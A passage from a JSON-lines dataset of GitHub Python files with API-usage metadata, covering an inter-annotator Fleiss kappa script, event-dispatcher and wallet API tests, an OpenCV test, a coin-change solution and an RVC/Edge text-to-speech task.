"name"}, {"api_name": "databases.cacheDatabase.cacheDBCli.cache_db_cli.pool", "line_number": 116, "usage_type": "attribute"}, {"api_name": "databases.cacheDatabase.cacheDBCli.cache_db_cli", "line_number": 116, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 118, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 121, "usage_type": "name"}, {"api_name": "utils.translateUtil.translateHList2Zip", "line_number": 128, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 136, "usage_type": "name"}, {"api_name": "dataModels.dto.BlogBackInfoDTO", "line_number": 141, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 150, "usage_type": "name"}, {"api_name": "dataModels.entity.Article", "line_number": 150, "usage_type": "name"}, {"api_name": "daoOperation.ArticleDao", "line_number": 150, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 154, "usage_type": "name"}, {"api_name": "dataModels.dto.ArticleRankDTO", "line_number": 154, "usage_type": "name"}, {"api_name": "dataModels.dto.ArticleRankDTO", "line_number": 157, "usage_type": "call"}, {"api_name": "dataModels.dto.BlogBackInfoDTO", "line_number": 162, "usage_type": "call"}, {"api_name": "dataModels.dto.BlogBackInfoDTO", "line_number": 88, "usage_type": "name"}, {"api_name": "databases.cacheDatabase.cacheDBCli.cache_db_cli.pool", "line_number": 178, "usage_type": "attribute"}, {"api_name": "databases.cacheDatabase.cacheDBCli.cache_db_cli", "line_number": 178, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 179, "usage_type": "name"}, {"api_name": "databases.cacheDatabase.cacheDBCli.cache_db_cli.pool", "line_number": 192, "usage_type": "attribute"}, {"api_name": "databases.cacheDatabase.cacheDBCli.cache_db_cli", "line_number": 192, "usage_type": "name"}, {"api_name": "databases.cacheDatabase.cacheDBCli.cache_db_cli.pool", "line_number": 207, "usage_type": "attribute"}, {"api_name": "databases.cacheDatabase.cacheDBCli.cache_db_cli", "line_number": 207, "usage_type": "name"}, {"api_name": "databases.cacheDatabase.cacheDBCli.cache_db_cli.pool", "line_number": 220, "usage_type": "attribute"}, {"api_name": "databases.cacheDatabase.cacheDBCli.cache_db_cli", "line_number": 220, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 221, "usage_type": "name"}]} +{"seq_id": "1625004458", "text": "from pathlib import Path \r\nfrom tqdm import tqdm \r\nfrom our_word_list import *\r\ncwd = Path.cwd()\r\n\r\n\r\ndef parse_IAA_files(folder_names, social_axis, k, targets, n_2):\r\n\tN = len(folder_names)\r\n\tpreamble_length = 3\r\n\tcontext_length = 5\r\n\tpadding_length = 1\r\n\tn_1 = len(targets)\r\n\tn = n_1 * n_2\r\n\tfolder2annotations = {}\r\n\tfor folder_name in folder_names:\r\n\t\tannotations = []\r\n\t\tfor target in sorted(targets):\r\n\t\t\ttarget_annotations = []\r\n\t\t\tfile_name = cwd / 'data' / 'annotation' / 'IAA' / folder_name / social_axis / '{}_{}.txt'.format(target, social_axis)\r\n\t\t\twith open(file_name, 'r') as f:\r\n\t\t\t\tdata = list(f)\r\n\t\t\ti = preamble_length\r\n\t\t\tfor j in range(1, n_2 + 1):\r\n\t\t\t\ti += (context_length + padding_length + 1)\r\n\t\t\t\tannotation_str = data[i].strip()\r\n\t\t\t\tprint(target)\r\n\t\t\t\tannotation_label = int(annotation_str.split(':')[-1].strip())\r\n\t\t\t\tassert 0 < annotation_label <= k\r\n\t\t\t\ti += 1\r\n\t\t\t\tif i < len(data):\r\n\t\t\t\t\tfeedback = data[i].strip()\r\n\t\t\t\t\tif feedback:\r\n\t\t\t\t\t\ti += 1\t\r\n\t\t\t\telse:\r\n\t\t\t\t\tfeedback = ''\r\n\t\t\t\tannotation = {'target' : target, 'example_id' : j, 'label' : annotation_label, 'feedback' : feedback}\r\n\t\t\t\ttarget_annotations.append(annotation)\r\n\t\t\t\ti += 1\r\n\t\t\tannotations += target_annotations\r\n\t\tfolder2annotations[folder_name] = annotations\r\n\tassert len(folder2annotations) == N\r\n\tfor annotations in folder2annotations.values():\r\n\t\tassert len(annotations) == n \r\n\t\tfor annotation in annotations:\r\n\t\t\tassert 0 < annotation['label'] <= k\r\n\treturn folder2annotations\r\n\r\n\r\ndef compute_fleiss_kappa(folder2annotations, k):\r\n\tn = len(folder2annotations)\r\n\tannotations_list = [[annotation['label'] for annotation in annotations] for annotations in folder2annotations.values()]\r\n\tN = len(annotations_list[0])\r\n\tprint('N: {}, n: {}, k: {}'.format(N, n, k))\r\n\tassert all([len(annotations) == N for annotations in annotations_list])\r\n\tn_ij_dict = {(i, j) : sum([annotations[i] == j for annotations in annotations_list]) for i in range(N) for j in range(1, k + 1)}\r\n\tprint('Annotations')\r\n\tfor annotations in annotations_list:\r\n\t\tprint(annotations)\r\n\tfor j in range(1, k + 1):\r\n\t\tprint([n_ij_dict[(i, j)] for i in range(N)])\r\n\tp_j_dict = {}\r\n\tfor j in range(1, k + 1):\r\n\t\tp_j_unnormalized = sum([n_ij_dict[(i, j)] for i in range(N)])\r\n\t\tp_j = p_j_unnormalized / (N * n)\r\n\t\tp_j_dict[j] = p_j \r\n\tassert sum(p_j_dict.values()) == 1\r\n\tprint('p_j dict: {} \\n \\n'.format(p_j_dict))\r\n\tP_i_dict = {i : None for i in range(N)}\r\n\tfor i in range(N):\r\n\t\tP_i_unnormalized = 0\r\n\t\tfor j in range(1, k + 1):\r\n\t\t\tn_ij = n_ij_dict[(i, j)] \r\n\t\t\tmatching_pairs = n_ij * (n_ij - 1)\r\n\t\t\tP_i_unnormalized += matching_pairs\r\n\t\tP_i = P_i_unnormalized / (n * (n - 1))\r\n\t\tP_i_dict[i] = P_i \r\n\tprint('P_i dict: {} \\n \\n'.format(P_i_dict))\r\n\tP_bar = sum(P_i_dict.values()) / N \r\n\tP_e_bar = sum([p_j ** 2 for p_j in p_j_dict.values()]) \r\n\tfleiss_kappa = (P_bar - P_e_bar) / (1 - P_e_bar)\r\n\tprint('P_bar: {}, P_e_bar: {}, fleiss_kappa: {}'.format(P_bar, P_e_bar, fleiss_kappa))\r\n\treturn fleiss_kappa\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\tfolder_names = ['claire', 'tianyi_annotated', 'xikun']\r\n\tsocial_axis = 'gender'\r\n\tk = 3 \r\n\ttargets = ordered_face_validity_targets\r\n\tn_2 = 5\r\n\tfolder2annotations = parse_IAA_files(folder_names, social_axis, k, targets, n_2)\r\n\t# for f1, f2 in [('claire', 'tianyi_annotated'), ('claire', 'xikun'), ('tianyi_annotated', 'xikun')]:\r\n\t# \t\ta1, a2 = folder2annotations[f1], folder2annotations[f2]\r\n\t# \t\tassert len(a1) == len(a2)\r\n\t# \t\tprint(f1, f2, len(a1))\r\n\t# \t\tprint([x['label'] - y['label'] for x, y in zip(a1, a2)])\r\n\tfor folder, annotations in folder2annotations.items():\r\n\t\tprint(folder)\r\n\t\tprint(annotations)\r\n\t\tprint('\\n')\r\n\tcompute_fleiss_kappa(folder2annotations, k)\r\n\r\n", "repo_name": "rishibommasani/BiasMeasures", "sub_path": "interannotator.py", "file_name": "interannotator.py", "file_ext": "py", "file_size_in_byte": 3691, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pathlib.Path.cwd", "line_number": 4, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 4, "usage_type": "name"}]} +{"seq_id": "37772726803", "text": "from asyncio import Queue, create_task\nfrom datetime import timedelta\nfrom typing import Awaitable, Callable\nfrom unittest import IsolatedAsyncioTestCase\nfrom unittest.mock import patch\n\nimport pyjangle\nfrom pyjangle import (\n VersionedEvent,\n EventRepositoryMissingError,\n EventDispatcherMissingError,\n register_event_dispatcher,\n begin_processing_committed_events,\n begin_retry_failed_events_loop,\n event_repository_instance,\n handle_command,\n)\nfrom test_helpers.commands import CommandThatShouldSucceedA\nfrom test_helpers.registration_paths import (\n EVENT_DISPATCHER,\n EVENT_REPO,\n)\nfrom test_helpers.reset import ResetPyJangleState\n\n\n@ResetPyJangleState\nclass TestEventDaemon(IsolatedAsyncioTestCase):\n async def test_daemon_retries_failed_events(self, *_):\n # This test will cause an event to be committed and dispatched, but the first\n # attempt dispatching will fail. (The exception thrown in the dispatcher below)\n\n q = Queue()\n event_repo = event_repository_instance()\n\n @register_event_dispatcher\n async def foo(\n event: VersionedEvent, completed_callback: Callable[[any], Awaitable[None]]\n ):\n \"The event dispatcher puts a True value onto q.\"\n\n try:\n if foo.count == 0:\n # The test will wait for this with a call to q.get() to proceed\n await q.put(True)\n raise Exception() # The event should be requeued here.\n await q.put(True)\n await completed_callback(event.id)\n finally:\n foo.count += 1\n\n foo.count = 0\n\n # Keep reference to the task so that it's not garbage collected per the docs\n begin_processing_committed_events()\n await handle_command(CommandThatShouldSucceedA())\n await q.get() # Wait for the first boolean that the dispatcher puts on the q.\n self.assertEqual(\n pyjangle.event.event_dispatcher._committed_event_queue.qsize(), 0\n ) # After calling get(), the q should be empty.\n begin_retry_failed_events_loop(\n frequency_in_seconds=0, max_age_time_delta=timedelta(seconds=0)\n )\n unhandled_events = [\n event\n async for event in event_repo.get_unhandled_events(\n time_delta=timedelta(seconds=0), batch_size=100\n )\n ]\n self.assertEqual(len(list(unhandled_events)), 1)\n await q.get() # Block until the event is processed by the dispatcher again\n unhandled_events = [\n event\n async for event in event_repo.get_unhandled_events(\n time_delta=timedelta(seconds=0), batch_size=100\n )\n ]\n self.assertEqual(len(list(unhandled_events)), 0)\n self.assertEqual(foo.count, 2) # The dispatcher should have been called twice.\n\n async def test_when_no_event_repository_then_exception(self, *_):\n @register_event_dispatcher\n async def foo(\n event: VersionedEvent, completed_callback: Callable[[any], Awaitable[None]]\n ):\n pass\n\n with patch(EVENT_REPO, None):\n with self.assertRaises(EventRepositoryMissingError):\n begin_retry_failed_events_loop(frequency_in_seconds=0)\n\n async def test_when_no_event_dispatcher_then_exception(self, *_):\n with patch(EVENT_DISPATCHER, None):\n with self.assertRaises(EventDispatcherMissingError):\n begin_retry_failed_events_loop(frequency_in_seconds=0)\n", "repo_name": "BellsteinLabs/pyJangle", "sub_path": "tests/pyjangle_tests/event/event_daemon_test.py", "file_name": "event_daemon_test.py", "file_ext": "py", "file_size_in_byte": 3587, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "unittest.IsolatedAsyncioTestCase", "line_number": 27, "usage_type": "name"}, {"api_name": "asyncio.Queue", "line_number": 32, "usage_type": "call"}, {"api_name": "pyjangle.event_repository_instance", "line_number": 33, "usage_type": "call"}, {"api_name": "pyjangle.VersionedEvent", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.Awaitable", "line_number": 37, "usage_type": "name"}, {"api_name": "pyjangle.register_event_dispatcher", "line_number": 35, "usage_type": "name"}, {"api_name": "pyjangle.begin_processing_committed_events", "line_number": 54, "usage_type": "call"}, {"api_name": "pyjangle.handle_command", "line_number": 55, "usage_type": "call"}, {"api_name": "test_helpers.commands.CommandThatShouldSucceedA", "line_number": 55, "usage_type": "call"}, {"api_name": "pyjangle.event.event_dispatcher._committed_event_queue.qsize", "line_number": 58, "usage_type": "call"}, {"api_name": "pyjangle.event", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pyjangle.begin_retry_failed_events_loop", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 74, "usage_type": "call"}, {"api_name": "pyjangle.VersionedEvent", "line_number": 83, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 83, "usage_type": "name"}, {"api_name": "typing.Awaitable", "line_number": 83, "usage_type": "name"}, {"api_name": "pyjangle.register_event_dispatcher", "line_number": 81, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 87, "usage_type": "call"}, {"api_name": "test_helpers.registration_paths.EVENT_REPO", "line_number": 87, "usage_type": "argument"}, {"api_name": "pyjangle.EventRepositoryMissingError", "line_number": 88, "usage_type": "argument"}, {"api_name": "pyjangle.begin_retry_failed_events_loop", "line_number": 89, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 92, "usage_type": "call"}, {"api_name": "test_helpers.registration_paths.EVENT_DISPATCHER", "line_number": 92, "usage_type": "argument"}, {"api_name": "pyjangle.EventDispatcherMissingError", "line_number": 93, "usage_type": "argument"}, {"api_name": "pyjangle.begin_retry_failed_events_loop", "line_number": 94, "usage_type": "call"}, {"api_name": "test_helpers.reset.ResetPyJangleState", "line_number": 26, "usage_type": "name"}]} +{"seq_id": "34603957913", "text": "from functools import lru_cache\nfrom typing import List\n\n\nCOINS = [200, 100, 50, 20, 10, 5, 2, 1]\n\n\ndef run() -> int:\n return len(combinations(200))\n\n\n@lru_cache(maxsize=512)\ndef combinations(value: int, last: int = 200) -> List[str]:\n combs = []\n for coin in [c for c in COINS if c <= value and c <= last]:\n if coin == value:\n combs.append(str(coin))\n else:\n combs += [f'{coin},{comb}' for comb in combinations(value - coin, coin)]\n return combs\n\n\nif __name__ == '__main__':\n print(f'Number of different ways to make £2: {run()}')\n", "repo_name": "jamsidedown/euler_py", "sub_path": "problems/0XX/03X/031/solution.py", "file_name": "solution.py", "file_ext": "py", "file_size_in_byte": 584, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "functools.lru_cache", "line_number": 12, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 13, "usage_type": "name"}]} +{"seq_id": "40884887224", "text": "import random\nfrom time import sleep\n\nimport pytest\nfrom fastapi.testclient import TestClient\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom bigfastapi.schemas import users_schemas\nfrom bigfastapi.models import organization_models\nfrom bigfastapi.models import wallet_models\nimport bigfastapi.db.database as database\nfrom decouple import config\nfrom bigfastapi.notification import is_authenticated\nfrom main import app\nimport requests\n\nSQLALCHEMY_DATABASE_URL = \"sqlite:///./test.db\"\n\nengine = create_engine(SQLALCHEMY_DATABASE_URL, connect_args={'check_same_thread': False})\n\nTestingSessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)\ntest_db = TestingSessionLocal()\n\nwalletID = ''\ntransactionID = ''\n\n\nasync def override_is_authenticated():\n user_data = {\n \"id\": \"9cd87677378946d88dc7903b6710ae55\",\n \"first_name\": \"John\",\n \"last_name\": \"Doe\",\n \"email\": \"test@gmail.com\",\n \"password\": \"hashedpassword\",\n \"is_active\": True,\n \"is_verified\": True,\n \"is_superuser\": True,\n \"phone_number\": \"123456789000\",\n \"organization\": \"test\"\n }\n return users_schemas.User(**user_data)\n\n\ndef override_get_db():\n try:\n db = TestingSessionLocal()\n yield db\n finally:\n db.close()\n\n\nclient = TestClient(app)\n\n\n@pytest.fixture(scope=\"module\")\ndef setUp():\n database.Base.metadata.create_all(bind=engine, tables=[wallet_models.Wallet.__table__,\n organization_models.Organization.__table__])\n app.dependency_overrides[database.get_db] = override_get_db\n app.dependency_overrides[is_authenticated] = override_is_authenticated\n\n organization = organization_models.Organization(\n id=\"9cd87677378946d88dc7903b6710ab79\",\n mission=\"test mission\",\n vision=\"test mission\",\n name=\"testing organization\",\n values=\"test values\"\n )\n\n organizationInDB = test_db.query(organization_models.Organization).filter_by(\n id=\"9cd87677378946d88dc7903b6710ab79\").first()\n if organizationInDB is None:\n test_db.add(organization)\n test_db.commit()\n test_db.refresh(organization)\n\n return organization\n\n # database.Base.metadata.drop_all(bind=engine, tables=[notification_models.Notification.__tablename__])\n\n\ndef test_create_wallet(setUp):\n global walletID\n response = client.post(\"/wallets\", json={\"organization_id\": \"9cd87677378946d88dc7903b6710ab79\"})\n assert response.status_code == 200\n assert response.json().get('balance') == 0\n walletID = response.json().get('id')\n\n\ndef test_create_second_wallet(setUp):\n response = client.post(\"/wallets\", json={\"organization_id\": \"9cd87677378946d88dc7903b6710ab79\"})\n assert response.status_code == 403\n\n\n#####################################################################\n# THE TEST CASE KEEPS SAYING ORGANIZATION DOES NOT EXITS .#\n# WILL COMPLETE AFTER DOING SOME RESEARCH #\n#####################################################################\n# def test_get_organization_wallet(setUp):\n# response = client.get('/wallets/organization/9cd87677378946d88dc7903b6710ab79')\n# print('tesss', response.json())\n# assert response.status_code == 200\n# assert response.json().get('balance') == 0\n\n\ndef test_get_wallet(setUp):\n response = client.get('/wallets/' + walletID)\n assert response.status_code == 200\n assert response.json().get('balance') == 0\n assert response.json().get('organization_id') == '9cd87677378946d88dc7903b6710ab79'\n\n\ndef test_debit_empty_wallet(setUp):\n response = client.post(\"/wallets/\" + walletID + \"/debit\", json={\"amount\": 1500})\n assert response.status_code == 403\n\n\ndef test_fund_wallet_with_fake_transaction_id(setUp):\n response = client.post(\"/wallets\" + walletID + \"/fund\",\n {\"amount\": 1500, \"provider\": \"flutterwave\", \"ref\": 000000})\n\n assert response.status_code == 404\n\n\ndef test_fund_wallet(setUp):\n global transactionID\n # create a test transaction\n secretKey = config(\"FLUTTERWAVE_SEC_KEY\")\n ref = ''.join([random.choice(\"qwertyuiopasdfghjklzxcvbnm1234567890\") for x in range(10)])\n\n response = requests.post(\"https://api.flutterwave.com/v3/charges?type=mobile_money_franco\",\n headers={\"Authorization\": \"Bearer \" + secretKey},\n json={\"amount\": 1500, \"currency\": \"XAF\", \"phone_number\": \"237675812885\",\n \"email\": \"user@flw.com\", \"tx_ref\": ref, \"country\": \"CM\",\n \"fullname\": \"John Madakin\", \"client_ip\": \"154.123.220.1\",\n \"device_fingerprint\": \"62wd23423rq324323qew1\", \"meta\": {\"flightID\": \"123949494DC\",\n \"sideNote\": \"This is a side \"\n \"note to track \"\n \"this call\"}})\n\n transactionID = (response.json().get('data'))['id']\n assert response.status_code == 200\n sleep(20) # wait for flutter wave to simulate mobile money PIN validation. it takes about 20 seconds\n response = client.post(\"/wallets/\" + walletID + \"/fund\",\n json={\"amount\": 1500, \"provider\": \"flutterwave\", \"ref\": transactionID})\n\n assert response.status_code == 200\n assert response.json().get('balance') == 1500\n\n\ndef test_fund_wallet_with_false_amount_and_real_transaction_id(setUp):\n response = client.post(\"/wallets/\" + walletID + \"/fund\",\n json={\"amount\": 11500, \"provider\": \"flutterwave\", \"ref\": transactionID})\n\n assert response.status_code == 400\n\n\ndef test_debit_wallet(setUp):\n response = client.post(\"/wallets/\" + walletID + \"/debit\", json={\"amount\": 1500})\n assert response.status_code == 200\n assert response.json().get('balance') == 0\n\n\ndef test_delete_wallet(setUp):\n response = client.delete(\"/wallets/\" + walletID)\n assert response.status_code == 200\n", "repo_name": "bigfastcode/bigfastapi", "sub_path": "tests/test_wallets.py", "file_name": "test_wallets.py", "file_ext": "py", "file_size_in_byte": 6252, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 21, "usage_type": "call"}, {"api_name": "bigfastapi.schemas.users_schemas.User", "line_number": 41, "usage_type": "call"}, {"api_name": "bigfastapi.schemas.users_schemas", "line_number": 41, "usage_type": "name"}, {"api_name": "fastapi.testclient.TestClient", "line_number": 52, "usage_type": "call"}, {"api_name": "main.app", "line_number": 52, "usage_type": "argument"}, {"api_name": "bigfastapi.db.database.Base.metadata.create_all", "line_number": 57, "usage_type": "call"}, {"api_name": "bigfastapi.db.database.Base", "line_number": 57, "usage_type": "attribute"}, {"api_name": "bigfastapi.db.database", "line_number": 57, "usage_type": "name"}, {"api_name": "bigfastapi.models.wallet_models.Wallet", "line_number": 57, "usage_type": "attribute"}, {"api_name": "bigfastapi.models.wallet_models", "line_number": 57, "usage_type": "name"}, {"api_name": "bigfastapi.models.organization_models.Organization", "line_number": 58, "usage_type": "attribute"}, {"api_name": "bigfastapi.models.organization_models", "line_number": 58, "usage_type": "name"}, {"api_name": "main.app.dependency_overrides", "line_number": 59, "usage_type": "attribute"}, {"api_name": "main.app", "line_number": 59, "usage_type": "name"}, {"api_name": "bigfastapi.db.database.get_db", "line_number": 59, "usage_type": "attribute"}, {"api_name": "bigfastapi.db.database", "line_number": 59, "usage_type": "name"}, {"api_name": "main.app.dependency_overrides", "line_number": 60, "usage_type": "attribute"}, {"api_name": "main.app", "line_number": 60, "usage_type": "name"}, {"api_name": "bigfastapi.notification.is_authenticated", "line_number": 60, "usage_type": "name"}, {"api_name": "bigfastapi.models.organization_models.Organization", "line_number": 62, "usage_type": "call"}, {"api_name": "bigfastapi.models.organization_models", "line_number": 62, "usage_type": "name"}, {"api_name": "bigfastapi.models.organization_models.Organization", "line_number": 70, "usage_type": "attribute"}, {"api_name": "bigfastapi.models.organization_models", "line_number": 70, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 55, "usage_type": "call"}, {"api_name": "decouple.config", "line_number": 128, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 129, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 131, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 143, "usage_type": "call"}]} +{"seq_id": "20866074000", "text": "import cv2\nimport service.colorSpaceService as colorSpaceService\n\nimg = cv2.imread('./img.jpg')\n\n\ndef test_getRGB():\n r, g, b = colorSpaceService.getRGB([img])\n _, _, _r = cv2.split(r)\n _, _g, _ = cv2.split(g)\n _b, _, _ = cv2.split(b)\n assert (img == cv2.merge([_b, _g, _r])).all()\n\n\ndef test_getHSV():\n h, s, v = colorSpaceService.getHSV([img])\n _h, _, _ = cv2.split(h)\n _, _s, _ = cv2.split(s)\n _, _, _v = cv2.split(v)\n assert (cv2.cvtColor(img, cv2.COLOR_BGR2HSV) == cv2.merge([_h, _s, _v])).all()\n", "repo_name": "Uzemiu/DIPFA", "sub_path": "test/colorSpace_test.py", "file_name": "colorSpace_test.py", "file_ext": "py", "file_size_in_byte": 531, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "cv2.imread", "line_number": 4, "usage_type": "call"}, {"api_name": "service.colorSpaceService.getRGB", "line_number": 8, "usage_type": "call"}, {"api_name": "service.colorSpaceService", "line_number": 8, "usage_type": "name"}, {"api_name": "cv2.split", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.split", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.split", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.merge", "line_number": 12, "usage_type": "call"}, {"api_name": "service.colorSpaceService.getHSV", "line_number": 16, "usage_type": "call"}, {"api_name": "service.colorSpaceService", "line_number": 16, "usage_type": "name"}, {"api_name": "cv2.split", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.split", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.split", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 20, "usage_type": "attribute"}, {"api_name": "cv2.merge", "line_number": 20, "usage_type": "call"}]} +{"seq_id": "73080613723", "text": "from typing import Dict\nfrom speakers.processors import BaseProcessor, get_processors, EdgeProcessorData, RvcProcessorData\nfrom speakers.tasks import AudioTaskAbstract, Runner, FlowData\nfrom speakers.common.registry import registry\nfrom speakers.server.model.flow_data import PayLoad\nimport traceback\nimport hashlib\n\n\ndef calculate_md5(input_string):\n md5_hash = hashlib.md5()\n md5_hash.update(input_string.encode('utf-8'))\n return md5_hash.hexdigest()\n\n\nclass EdgeVoiceFlowData(FlowData):\n edge: EdgeProcessorData\n rvc: RvcProcessorData\n\n @property\n def type(self) -> str:\n \"\"\"Type of the FlowData Message, used for serialization.\"\"\"\n return \"edge_voice\"\n\n\n@registry.register_task(\"edge_voice_task\")\nclass EdgeVoiceTask(AudioTaskAbstract):\n\n def __init__(self, preprocess_dict: Dict[str, BaseProcessor]):\n super().__init__(preprocess_dict=preprocess_dict)\n self._preprocess_dict = preprocess_dict\n\n @classmethod\n def from_config(cls, cfg=None):\n preprocess_dict = {}\n for preprocess in cfg.get('preprocess'):\n for key, preprocess_info in preprocess.items():\n preprocess_object = get_processors(preprocess_info.processor)\n preprocess_dict[preprocess_info.processor_name] = preprocess_object\n\n return cls(preprocess_dict=preprocess_dict)\n\n @property\n def preprocess_dict(self) -> Dict[str, BaseProcessor]:\n return self._preprocess_dict\n\n @classmethod\n def prepare(cls, payload: PayLoad) -> Runner:\n \"\"\"\n runner任务构建\n \"\"\"\n params = payload.payload\n # 获取payload中的edge和rvc的值\n edge_data = params.get(\"edge\", {})\n rvc_data = params.get(\"rvc\", {})\n\n # edge 讲话人\n tts_speaker = edge_data.get(\"tts_speaker\")\n text = edge_data.get(\"text\")\n rate = edge_data.get(\"rate\")\n volume = edge_data.get(\"volume\")\n\n # 创建一个 EdgeProcessorData 实例\n edge_processor_data = EdgeProcessorData(text=text,\n tts_speaker=tts_speaker,\n rate=rate,\n volume=volume)\n # 获取rvc中的值\n\n model_index = rvc_data.get(\"model_index\")\n\n # 变调(整数, 半音数量, 升八度12降八度-12)\n f0_up_key = rvc_data.get(\"f0_up_key\")\n f0_method = rvc_data.get(\"f0_method\")\n\n # 检索特征占比\n index_rate = rvc_data.get(\"index_rate\")\n # >=3则使用对harvest音高识别的结果使用中值滤波，数值为滤波半径，使用可以削弱哑音\n filter_radius = rvc_data.get(\"filter_radius\")\n # 输入源音量包络替换输出音量包络融合比例，越靠近1越使用输出包络\n rms_mix_rate = rvc_data.get(\"rms_mix_rate\")\n # 后处理重采样至最终采样率，0为不进行重采样\n resample_rate = rvc_data.get(\"resample_sr\")\n\n rvc_protect = rvc_data.get(\"protect\")\n rvc_f0_file = rvc_data.get(\"f0_file\")\n\n rvc_processor_data = RvcProcessorData(\n model_index=model_index,\n f0_up_key=f0_up_key,\n f0_method=f0_method,\n index_rate=index_rate,\n filter_radius=filter_radius,\n rms_mix_rate=rms_mix_rate,\n resample_sr=resample_rate,\n f0_file=rvc_f0_file,\n protect=rvc_protect\n )\n\n # 创建一个 EdgeVoiceFlowData 实例，并将 EdgeProcessorData 实例作为参数传递\n voice_flow_data = EdgeVoiceFlowData(edge=edge_processor_data,\n rvc=rvc_processor_data)\n\n # 创建 Runner 实例并传递上面创建的 EdgeVoiceFlowData 实例作为参数\n task_id = f'{calculate_md5(text)}-{tts_speaker}'\\\n f'-{rate}-{volume}'\\\n f'-{model_index}-{f0_up_key}'\n runner = Runner(\n task_id=task_id,\n flow_data=voice_flow_data\n )\n\n return runner\n\n async def dispatch(self, runner: Runner):\n\n try:\n # 加载task\n self.logger.info('dispatch')\n\n # 开启任务1\n await self.report_progress(task_id=runner.task_id, runner_stat='edge_voice_task',\n state='dispatch_edge_voice_task')\n data = runner.flow_data\n if 'edge_voice' in data.type:\n if 'EDGE' in data.edge.type:\n edge_preprocess_object = self.preprocess_dict.get(data.edge.type)\n if not edge_preprocess_object.match(data.edge):\n raise RuntimeError('不支持的process')\n tts_np, tts_sr = edge_preprocess_object(data.edge)\n if tts_np is not None and 'RVC' in data.rvc.type:\n # 将 NumPy 数组转换为 Python 列表\n audio_samples_list = tts_np.tolist()\n data.rvc.sample_rate = tts_sr\n data.rvc.audio_samples = audio_samples_list\n rvc_preprocess_object = self.preprocess_dict.get(data.rvc.type)\n if not rvc_preprocess_object.match(data.rvc):\n raise RuntimeError('不支持的process')\n\n write_data = rvc_preprocess_object(data.rvc)\n\n # 完成任务，构建响应数据\n await self.report_progress(task_id=runner.task_id,\n runner_stat='edge_voice_task',\n state='finished',\n finished=False)\n\n del tts_np\n del tts_sr\n await super().save_task_write(runner=runner, write_data=write_data)\n del runner\n\n except Exception as e:\n await self.report_progress(task_id=runner.task_id, runner_stat='edge_voice_task',\n state='error', finished=True)\n\n self.logger.error(f'{e.__class__.__name__}: {e}',\n exc_info=e)\n\n traceback.print_exc()\n\n return None, None\n\n def complete(self, runner: Runner):\n pass\n", "repo_name": "glide-the/RVC-Speakers", "sub_path": "src/components/speakers/tasks/edge_voice_task.py", "file_name": "edge_voice_task.py", "file_ext": "py", "file_size_in_byte": 6403, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "hashlib.md5", "line_number": 11, "usage_type": "call"}, {"api_name": "speakers.tasks.FlowData", "line_number": 16, "usage_type": "name"}, {"api_name": "speakers.processors.EdgeProcessorData", "line_number": 17, "usage_type": "name"}, {"api_name": "speakers.processors.RvcProcessorData", "line_number": 18, "usage_type": "name"}, {"api_name": "speakers.tasks.AudioTaskAbstract", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 29, "usage_type": "name"}, {"api_name": "speakers.processors.BaseProcessor", "line_number": 29, "usage_type": "name"}, {"api_name": "speakers.processors.get_processors", "line_number": 38, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 44, "usage_type": "name"}, {"api_name": "speakers.processors.BaseProcessor", "line_number": 44, "usage_type": "name"}, {"api_name": "speakers.server.model.flow_data.PayLoad", "line_number": 48, "usage_type": "name"}, {"api_name": "speakers.processors.EdgeProcessorData", "line_number": 64, "usage_type": "call"}, {"api_name": "speakers.processors.RvcProcessorData", "line_number": 88, "usage_type": "call"}, {"api_name": "speakers.tasks.Runner", "line_number": 108, "usage_type": "call"}, {"api_name": "speakers.tasks.Runner", "line_number": 48, "usage_type": "name"}, {"api_name": "speakers.tasks.Runner", "line_number": 115, "usage_type": "name"}, {"api_name": "traceback.print_exc", "line_number": 160, "usage_type": "call"}, {"api_name": 